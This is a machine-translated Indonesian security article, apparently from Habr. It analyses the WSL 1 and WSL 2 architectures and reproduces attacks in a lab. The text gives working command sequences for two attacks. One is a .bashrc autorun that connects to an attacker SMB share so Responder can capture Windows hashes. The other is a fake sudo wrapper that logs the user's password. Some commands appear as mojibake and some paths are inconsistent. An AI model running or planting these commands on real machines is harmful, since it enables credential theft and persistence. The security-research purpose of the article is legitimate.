Eksperimen WSL. Bagian 1

Halo, habr! OTUS meluncurkan aliran kursus baru pada bulan Oktober "Keamanan Linux". Untuk mengantisipasi dimulainya kursus, kami membagikan kepada Anda sebuah artikel yang ditulis oleh salah satu guru kami, Alexander Kolesnikov.

Eksperimen WSL. Bagian 1

Pada tahun 2016, Microsoft memperkenalkan teknologi WSL baru kepada komunitas TI (WIndows Subsistem untuk Linux), yang di masa depan memungkinkan untuk menyatukan pesaing yang sebelumnya tidak dapat didamaikan yang berjuang untuk popularitas di kalangan pengguna OS biasa dan tingkat lanjut: Windows dan Linux. Teknologi ini memungkinkan penggunaan alat OS Linux di lingkungan Windows tanpa perlu menjalankan Linux, misalnya menggunakan Multi-boot. Di Habr Anda dapat menemukan banyak artikel yang menjelaskan manfaat menggunakan WSL. Namun, sayangnya, pada saat artikel ini dibuat, tidak ada penelitian tentang keamanan simbiosis sistem operasi yang ditemukan pada sumber ini. Posting ini akan menjadi upaya untuk memperbaikinya. Artikel ini akan membahas fitur arsitektur WSL 1 dan 2 dan membahas beberapa contoh serangan terhadap sistem yang menggunakan teknologi ini. Artikel ini dibagi menjadi 2 bagian. Yang pertama akan memberikan metode serangan teoritis utama dari Linux dan Windows. Artikel kedua akan mencakup pengaturan lingkungan pengujian dan reproduksi serangan.

WSL 1: fitur arsitektur

Untuk memahami masalah keamanan WSL secara paling akurat, perlu untuk menentukan nuansa utama yang terkait dengan implementasi subsistem. Salah satu tugas utama pengguna yang diselesaikan oleh WSL adalah kemampuan untuk bekerja melalui terminal Linux pada host yang menjalankan OS Windows. Selain itu, kompatibilitas yang ditawarkan sangat asli sehingga Linux executable (ELF) dapat dijalankan langsung di sistem Windows. Untuk mencapai tujuan ini, subsistem khusus dibuat di Windows 10 yang memungkinkan Anda menjalankan aplikasi Linux menggunakan serangkaian panggilan sistem tertentu - oleh karena itu, upaya dilakukan untuk memetakan sekumpulan syscall Linux di Windows. Hal ini diterapkan secara fisik dengan menambahkan driver baru dan format proses baru. Secara visual arsitekturnya terlihat seperti ini:

Eksperimen WSL. Bagian 1

Faktanya, interaksi dengan sistem operasi Linux diatur melalui beberapa modul kernel dan jenis proses khusus - pico. Dari diagram di atas, Anda dapat melihat bahwa proses yang berjalan pada instance Linux pada host harus asli dan harus menggunakan sumber daya yang sama dengan aplikasi Windows biasa. Tapi bagaimana cara mencapainya? Dalam proyek Jembatan angkat Konsep proses untuk Windows dikembangkan yang menyediakan semua komponen yang diperlukan dari sistem operasi (tergantung versinya) untuk menjalankan aplikasi OS lain.

Perhatikan bahwa abstraksi yang diusulkan memungkinkan untuk tidak fokus pada sistem operasi (khususnya, Windows), di mana proses OS lain diharapkan untuk diluncurkan, dan menyarankan pendekatan umum.

Dengan demikian, aplikasi apa pun di dalam proses pico dapat berjalan tanpa memperhatikan kernel Windows:

  1. Masalah kompatibilitas dan terjemahan panggilan sistem harus diselesaikan oleh penyedia khusus;
  2. Kontrol akses harus dilakukan melalui Monitor Keamanan. Monitor terletak di kernel dan oleh karena itu Windows memerlukan upgrade berupa driver baru yang dapat bertindak sebagai penyedia untuk proses tersebut. Prototipe proses pico disajikan secara skematis di bawah ini:

Eksperimen WSL. Bagian 1

Karena sistem file Linux menggunakan nama file dan direktori yang peka huruf besar/kecil, 2 jenis sistem file ditambahkan ke Windows untuk bekerja dengan WSL - VolFS dan DriveFS. VolFS merupakan implementasi dari sistem file Linux, DriveFS adalah sistem file yang bekerja sesuai aturan Windows, namun memiliki kemampuan untuk memilih sensitivitas huruf besar-kecil.

WSL 2

WSL 1 memiliki sejumlah keterbatasan yang tidak memungkinkannya digunakan untuk menyelesaikan berbagai tugas secara maksimal: misalnya, tidak memiliki kemampuan untuk menjalankan aplikasi Linux 32-bit, dan tidak mungkin menggunakan driver perangkat. Oleh karena itu, pada tahun 2020, WSL 2 dirilis, yang mengubah pendekatan dalam membangun subsistem. WSL 2 adalah mesin virtual yang dioptimalkan yang cocok dengan karakteristik konsumsi sumber daya WSL 1. Sekarang, tergantung pada masalah yang dipecahkan oleh pengguna OS Windows, Anda dapat memilih versi subsistem Linux yang diperlukan. Untuk mengurangi kemungkinan kerentanan, WSL 2 diimplementasikan berdasarkan Hyper-V di Windows 10. Dalam bentuk ini, Windows memiliki kemampuan untuk menjalankan kernel sistem operasi Linux secara terpisah. Perlu diingat bahwa WSL versi 1 diperkenalkan sebagai fitur beta yang seharusnya menunjukkan arah pengembangan Windows di area ini, sehingga transisi ke Hyper-V tidak dapat dihindari. Arsitektur akhirnya terlihat seperti ini:

Eksperimen WSL. Bagian 1

Dalam versi ini, kernel Windows dan Linux memiliki sumber dayanya sendiri dan persimpangan hanya ada di sistem file, tetapi persimpangan ini tidak lengkap. Interaksi antar sistem file dilakukan melalui wrapper client-server yang bekerja menggunakan protokol 9P.

Saat ini Microsoft menyediakan kemampuan untuk beralih antara WSL 1 dan WSL 2. Kedua versi tersedia untuk digunakan.

Keamanan WSL

Saat ini, ada beberapa karya yang menjelaskan beberapa pendekatan untuk menggunakan alat OS yang sah untuk menyerang komunikasi antar subsistem. Kami akan menggunakan skrip mereka untuk memeriksa relevansi serangan pada saat penulisan artikel ini. Daftar umum serangan dan skenario:

1. Implementasi sistem file: hak akses, ketersediaan direktori bersama/mekanisme pertukaran data.

Penelitian dilakukan untuk mengetahui pelanggaran aturan akses dari Linux FS->Windows FS, Windows FS->Linux FS. Penelitian telah menunjukkan kemampuan untuk memodifikasi file tertentu dalam OS target. Upaya juga dilakukan untuk mengganti, membuat duplikat, dan menghapus sebagian sistem file.

Skenario:

  • A. Serangan dari sistem operasi Windows - modifikasi file dari direktori /etc OS Linux.
  • B. Serangan dari sistem operasi Linux - modifikasi file di direktori: C:Windows, C:Program Files, C:Users<User>

2. Implementasi tumpukan jaringan.

Penelitian dilakukan dengan menggunakan contoh serangan dari sistem operasi Linux terhadap Windows. Fitur tumpukan jaringan yang digunakan, yaitu mekanisme otentikasi pada berbagai sumber daya.

Skenario:

  • Membuka akses ke port yang ditempati pada sistem Windows
  • Membuka port tanpa hak yang sesuai
  • Menjalankan reverse shell menggunakan file elf di sistem operasi Windows.

3. Menyembunyikan peluncuran proses perangkat lunak berbahaya menggunakan subsistem WSL.

Penelitian ini didasarkan pada fakta sederhana - subsistem keamanan tidak dapat mencegat peristiwa di kernel lain yang bekerja menggunakan penyedia sah dari sistem operasi dalam kasus WSL 1. Dalam kasus WSL 2, tidak ada cara untuk melihat peristiwa yang terjadi di kernel terpisah dalam mesin virtual ringan.

Skenario:

1) Luncurkan aplikasi untuk akses jarak jauh ke sistem dan lihat peristiwa yang dicatat.

Eksperimen WSL 1: intersepsi hash (Windows)

Akhirnya kita sampai pada bagian praktis. Pertama, Anda perlu menyiapkan lingkungan pengujian. Semua percobaan akan dilakukan di bangku dengan instalasi Windows 10 2004. Gambar Ubuntu 18.04 dipilih sebagai gambar sistem operasi untuk WSL. Gambar dipilih secara acak, dan gambar lainnya akan berfungsi sama. Perintah untuk mendirikan stand:

Anda harus meluncurkannya terlebih dahulu powershell.exe sebagai administrator.

Untuk WSL 1 Anda perlu menjalankan perintah:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Π’ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Π—Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ ΠΎΠ±Ρ€Π°Π· Linux ΠΈΠ· ΠΌΠ°Π³Π°Π·ΠΈΠ½Π° Microsoft

  • Ubuntu.appx install β€”root #Установим ΠΎΠ±Ρ€Π°Π·
  • Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, придСтся ΠΏΡ€ΠΎΠΊΠ»ΠΈΠΊΠ°Ρ‚ΡŒ процСсс настройки ΠΈ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ мСньшС ΠΏΡ€Π°Π², Ρ‡Π΅ΠΌ root. Для Π½Π°ΡˆΠΈΡ… тСстов это Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ sam.
  • Restart-Computer #ΠŸΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΈΠΌ
  • Setelah me-reboot stand, Anda dapat memanggil perintah bash. Jika semuanya berfungsi dengan benar, Anda akan melihat keluaran seperti ini di konsol Windows:

    Eksperimen WSL. Bagian 1

    Kami akan menggunakan distribusi Kali Linux sebagai mesin penyerang; semua mesin harus berada di jaringan lokal yang sama.

    Anggaplah kita memiliki akses tanpa hak istimewa ke WSL di mesin Windows. Mari kita coba menyerang sistem operasi Linux dengan memanggil perintah dari Linux. Untuk mengimplementasikan serangan tersebut, kami akan menggunakan teknik autorun sederhana - kami akan menambahkan skrip kami untuk dieksekusi di lingkungan Linux. Untuk melakukan ini, Anda perlu mengubah file .bashrc.

    Pada mesin dengan WSL kami menjalankan:

    	1. bash
    	2. ΠŸΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΠΌ Π² домашнюю Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΡŽ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ: cd /home/sam/
    	2. echo  Β«/home/sam/.attack.shΒ» >> .bashrc
    	3. echo Β«icalcs.exe Β» \\\\attacker_ip\\shareName\\Β» > /dev/null 2>&1Β» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Pada mesin Kali Linux kami menjalankan:

    1. Responder -I eth0 -rdvw

    Di mesin Windows, mari luncurkan bash.

    Kita tunggu hasilnya di mesin Kali Linux:

    Eksperimen WSL. Bagian 1

    Jadi, kami memperoleh hash pengguna Windows melalui subsistem WSL dengan menjalankan perintah pada sistem Linux.

    Eksperimen WSL 1: mendapatkan kata sandi pengguna (OS Linux)

    Mari kita lakukan satu percobaan lagi. Selama pemeriksaan ini kami akan menambahkan ke file .bashrc beberapa perintah untuk mendapatkan kata sandi pengguna sistem operasi Linux.

    Mari luncurkan bash dan masukkan perintah:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txtΒ» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Agar berhasil menyelesaikan serangan, pengguna Sam perlu memanggil sudo di terminal Linux. Setelah ini, kata sandi pengguna OS Linux akan ada di file pass.txt:

    Eksperimen WSL. Bagian 1

    Penerapan serangan tersebut hanya diberikan sebagai informasi teoritis saja.

    Bagian selanjutnya dari artikel ini akan menjelaskan implementasi protokol 9P, mempertimbangkan pembuatan pemindai untuk protokol ini, dan juga melakukan serangan dengan menggunakannya.

    Daftar literatur yang digunakan

    Eksperimen WSL. Bagian 1

    Baca selengkapnya

    Sumber: www.habr.com

    Tambah komentar